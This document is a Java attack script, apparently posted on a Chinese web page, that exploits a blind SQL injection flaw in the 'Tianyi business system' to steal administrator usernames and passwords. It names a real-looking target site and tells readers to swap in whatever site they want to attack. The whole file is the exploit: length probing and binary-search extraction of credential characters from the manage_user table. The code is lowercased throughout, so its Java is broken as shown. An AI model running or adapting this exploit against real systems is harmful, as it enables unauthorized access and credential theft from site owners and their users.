java程序破解天意商务系统后台帐号
/**
文件名 : attackty.java
描述 : 针对天意商务系统的java程序,破解后台管理员用户名和密码,利用sql injection漏洞
注入地址为本网动态的某个新闻,这里以www.ejl.cn为例
作者: 慈勤强
email : cqq1978@gmail.com
**/
import java.net.*;
import java.io.*;
public class attackty extends thread
{
int iuserlen;
int ipwdlen;
string strkey="暂时还未";
string stru="http://www.ejl.cn/show_news.asp?newsid=105"; //只须修改这里,变成你要攻击的网站地址
//取得某个页面的函数
public string getcontent(string strurl)
{
try{
url url=new url(strurl);
bufferedreader br=new bufferedreader(new inputstreamreader(url.openstream()));
string s="";
stringbuffer sb=new stringbuffer("");
while((s=br.readline())!=null)
{
sb.append(s+"\r\n");
}
br.close();
return sb.tostring();
}
catch(exception e){
return "error open url" + strurl;
}
}
//取得管理员用户名和密码的长度
private int getlen(string str)
{
attackty ou=new attackty();
string s,s1;
for(int i=2;i<20;i++)
{
s=stru+"%20and%20(select%20top%201%20len("+str+")%20from%20manage_user)="+i;
s1=ou.getcontent(s);
if(s1.indexof(strkey)<0)
{
return i;
}
}
return 0;
}
//二分法取得用户名和密码的ascii码值
private void getvalue(string str,int ilen)
{
attackty ou=new attackty();
string s,s1,s2;
s2="";
int istart,iend,inow;
for(int j=1;j<=ilen;j++)
{
istart=33;
iend=126;
while(iend-istart>1)
{
inow=(istart+iend)/2;
s=stru+"%20and%20(select%20top%201%20asc(mid("+str+","+j+",1))%20from%20manage_user)>"+inow;
s1=ou.getcontent(s);
if(s1.indexof(strkey)<0)
{
istart = inow;
}
else
{
iend = inow;
}
}
system.out.print((char)iend);
}
}
public static void main(string args[])
{
attackty ou=new attackty();
ou.iuserlen=ou.getlen("username");
ou.ipwdlen=ou.getlen("password");
system.out.println("用户名:" );
ou.getvalue("username",ou.iuserlen);
system.out.println("\r\n密码:");
ou.getvalue("password",ou.ipwdlen);
}
}